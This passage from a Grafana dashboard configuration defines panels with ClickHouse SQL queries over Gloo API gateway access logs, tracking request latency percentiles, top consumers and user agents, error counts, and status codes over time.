"DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p50", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p75", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p90", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p95", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p99", + "selectedFormat": 4 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp)\nGROUP BY time\nORDER BY time", + "refId": "p999", + "selectedFormat": 4 + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 19 + }, + "id": 18, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 19 + }, + "id": 200, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_agent'] AS VARCHAR) as user_agent,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n user_agent\nORDER BY\n Count Desc", + "refId": "A", + "selectedFormat": 4 + } + ], + "title": "Top User Agents", + "type": "table" + }, + { + "collapsed": true, + "gridPos": { + "h": 1, + "w": 24, + "x": 0, + "y": 30 + }, + "id": 11, + "panels": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total requests in this period for the API '$api_id'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#EAB839", + "value": 100000 + }, + { + "color": "red", + "value": 1000000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 0, + "y": 31 + }, + "id": 4, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n LogAttributes['api_id'] as apiId,\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n apiId\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total requests", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Total active users in this period", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "light-green", + "value": null + }, + { + "color": "green", + "value": 50000 + }, + { + "color": "yellow", + "value": 100000 + }, + { + "color": "semi-dark-yellow", + "value": 250000 + }, + { + "color": "orange", + "value": 500000 + }, + { + "color": "light-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 4, + "y": 31 + }, + "id": 195, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(DISTINCT(LogAttributes['user_id']) as userId) as userCount\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri)\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Total active users", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Server error count in this period (5xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 8, + "y": 31 + }, + "id": 68, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "Server error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "User error count in this period (4xx status codes)", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "red", + "value": null + }, + { + "color": "dark-red", + "value": 10000 + } + ] + } + }, + "overrides": [] + }, + "gridPos": { + "h": 4, + "w": 4, + "x": 12, + "y": 31 + }, + "id": 55, + "options": { + "colorMode": "value", + "graphMode": "area", + "justifyMode": "auto", + "orientation": "auto", + "reduceOptions": { + "calcs": [ + "lastNotNull" + ], + "fields": "", + "values": false + }, + "textMode": "auto" + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n count(*) AS count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n CAST(LogAttributes['status_code'] AS INT) >= 400 AND CAST(LogAttributes['status_code'] AS INT) < 500 AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nORDER BY\n count Desc\nlimit\n 20\n", + "refId": "A" + } + ], + "title": "User error count", + "transparent": true, + "type": "stat" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "Usage for API '$api_id' with usage plan '$usage_plan'", + "fieldConfig": { + "defaults": { + "color": { + "mode": "thresholds" + }, + "custom": { + "align": "auto", + "cellOptions": { + "type": "auto" + }, + "filterable": false, + "inspect": false + }, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "#6ED0E0", + "value": 1000 + }, + { + "color": "light-blue", + "value": 2000 + }, + { + "color": "light-orange", + "value": 5000 + }, + { + "color": "orange", + "value": 10000 + }, + { + "color": "semi-dark-orange", + "value": 20000 + }, + { + "color": "light-red", + "value": 50000 + }, + { + "color": "red", + "value": 100000 + }, + { + "color": "dark-red", + "value": 1000000 + } + ] + }, + "unit": "none" + }, + "overrides": [ + { + "matcher": { + "id": "byName", + "options": "Count" + }, + "properties": [ + { + "id": "custom.cellOptions", + "value": { + "mode": "gradient", + "type": "gauge", + "valueDisplayMode": "text" + } + } + ] + }, + { + "matcher": { + "id": "byName", + "options": "User" + }, + "properties": [ + { + "id": "custom.width", + "value": 216 + } + ] + } + ] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 35 + }, + "id": 170, + "options": { + "cellHeight": "sm", + "footer": { + "countRows": false, + "enablePagination": false, + "fields": [ + "count" + ], + "reducer": [ + "sum" + ], + "show": true + }, + "showHeader": true, + "sortBy": [ + { + "desc": true, + "displayName": "Count" + } + ] + }, + "pluginVersion": "10.0.3", + "targets": [ + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "7XaPngu4k" + }, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n CAST(LogAttributes['user_id'] AS VARCHAR) as User,\n count(*) AS Count\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY\n User\nORDER BY\n Count Desc", + "refId": "A" + } + ], + "title": "Top API consumers", + "type": "table" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green", + "value": null + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 35 + }, + "id": 168, + "interval": "15m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "none", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['api_id'] AS apiId,\n count(*) AS count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n apiId, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Requests over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "fillOpacity": 80, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineWidth": 1, + "scaleDistribution": { + "type": "linear" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 0, + "y": 46 + }, + "id": 169, + "interval": "30m", + "options": { + "barRadius": 0, + "barWidth": 0.97, + "fullHighlight": false, + "groupWidth": 0.7, + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "orientation": "auto", + "showValue": "auto", + "stacking": "normal", + "tooltip": { + "mode": "single", + "sort": "none" + }, + "xTickLabelRotation": 0, + "xTickLabelSpacing": 0 + }, + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "fields": [ + "LogAttributes" + ], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "groupBy": [ + "TraceId" + ], + "limit": 100, + "metrics": [], + "mode": "trend", + "orderBy": [], + "table": "gloo_api_logs", + "timeField": "Timestamp", + "timeFieldType": "DateTime64(9)" + } + }, + "queryType": "sql", + "rawSql": "SELECT \n $__timeInterval(Timestamp) AS time,\n LogAttributes['status_code'] AS statusCode,\n count(*) as count\nFROM \n gloo_api_logs\nWHERE \n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id) AND\n LogAttributes['usage_plan'] IN ($usage_plan) AND\n LogAttributes['status_code'] IN ($status_code) AND\n LogAttributes['request_command'] IN ($http_method) AND\n LogAttributes['request_uri'] IN ($request_uri) AND\n ('$user_id' = 'All' OR LogAttributes['user_id'] = '$user_id')\nGROUP BY \n statusCode, \n time\nORDER BY \n time ASC", + "refId": "A" + } + ], + "title": "Status codes over time", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "count (.*)", + "renamePattern": "$1" + } + } + ], + "type": "barchart" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "description": "", + "fieldConfig": { + "defaults": { + "color": { + "mode": "palette-classic" + }, + "custom": { + "axisCenteredZero": false, + "axisColorMode": "text", + "axisLabel": "", + "axisPlacement": "auto", + "barAlignment": 0, + "drawStyle": "line", + "fillOpacity": 8, + "gradientMode": "none", + "hideFrom": { + "legend": false, + "tooltip": false, + "viz": false + }, + "lineInterpolation": "linear", + "lineWidth": 1, + "pointSize": 5, + "scaleDistribution": { + "type": "linear" + }, + "showPoints": "auto", + "spanNulls": true, + "stacking": { + "group": "A", + "mode": "none" + }, + "thresholdsStyle": { + "mode": "off" + } + }, + "decimals": 0, + "mappings": [], + "thresholds": { + "mode": "absolute", + "steps": [ + { + "color": "green" + }, + { + "color": "red", + "value": 80 + } + ] + }, + "unit": "none" + }, + "overrides": [] + }, + "gridPos": { + "h": 11, + "w": 7, + "x": 7, + "y": 46 + }, + "id": 149, + "options": { + "legend": { + "calcs": [], + "displayMode": "list", + "placement": "bottom", + "showLegend": true + }, + "tooltip": { + "mode": "single", + "sort": "none" + } + }, + "pluginVersion": "10.0.0", + "targets": [ + { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "format": 1, + "meta": { + "builderOptions": { + "0": "T", + "1": "h", + "2": "e", + "3": " ", + "4": "q", + "5": "u", + "6": "e", + "7": "r", + "8": "y", + "9": " ", + "10": "i", + "11": "s", + "12": " ", + "13": "n", + "14": "o", + "15": "t", + "16": " ", + "17": "a", + "18": " ", + "19": "s", + "20": "e", + "21": "l", + "22": "e", + "23": "c", + "24": "t", + "25": " ", + "26": "s", + "27": "t", + "28": "a", + "29": "t", + "30": "e", + "31": "m", + "32": "e", + "33": "n", + "34": "t", + "35": ".", + "database": "default", + "fields": [], + "filters": [ + { + "condition": "AND", + "filterType": "custom", + "key": "Timestamp", + "operator": "WITH IN DASHBOARD TIME RANGE", + "restrictToFields": [ + { + "label": "Timestamp", + "name": "Timestamp", + "picklistValues": [], + "type": "DateTime64(9)" + } + ], + "type": "datetime" + } + ], + "limit": 100, + "mode": "list", + "orderBy": [], + "table": "gloo_api_logs" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.25)(CAST(LogAttributes['response_duration'] AS INT)) as p25\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time\n\n", + "refId": "p25", + "selectedFormat": 1 + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "\nSELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.5)(CAST(LogAttributes['response_duration'] AS INT)) as p50\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY 